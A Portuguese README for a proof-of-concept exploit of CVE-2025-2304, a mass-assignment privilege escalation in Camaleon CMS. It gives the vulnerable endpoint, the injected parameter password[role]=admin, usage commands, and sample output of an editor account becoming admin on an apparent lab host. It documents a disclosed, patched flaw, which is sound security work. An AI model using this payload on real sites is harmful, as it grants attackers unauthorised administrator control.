CVE-2025-2304 — Camaleon CMS Escalação de Privilégios por Mass Assignment (PoC)

Vulnerabilidade de escalação de privilégios no Camaleon CMS < 2.9.1. O endpoint updated_ajax no UsersController chama params.require(:password).permit! sem filtragem, permitindo que qualquer parâmetro seja atribuído em massa. Um usuário autenticado com privilégios baixos pode escalar para admin injetando password[role]=admin junto com uma solicitação de alteração de senha.

---

Como funciona

1. Faz login com as credenciais fornecidas para obter uma sessão válida.
2. Recupera o ID e a função do usuário atual a partir da página de perfil.
3. Envia uma requisição PATCH para /admin/users/<id>/updated_ajax com password[role]=admin injetado nos parâmetros de senha.
4. Verifica se a função foi atualizada para admin.

Requisitos

• Python 3
• Instale as dependências:

python3 -m venv venv
source venv/bin/activate
python3 -m pip install requests beautifulsoup4

Uso

python3 exploit.py http://TARGET -u USER -p PASS

Exemplo:

$ python3 exploit.py http://facts.htb -u esteban -p password123
[*] Logging in as esteban...
[+] Logged in successfully
[*] User ID: 3, current role: editor
[*] Sending exploit payload...
[+] Privilege escalation successful! User is now admin.
[+] Login at http://facts.htb/admin with your credentials.

Referências

• CVE-2025-2304
• Comunicado de Pesquisa da Tenable
• Lançamento do Camaleon CMS 2.9.1 (correção)

Créditos

• Descoberta: Tenable Research
• Limpeza e simplificação: Esteban Zárate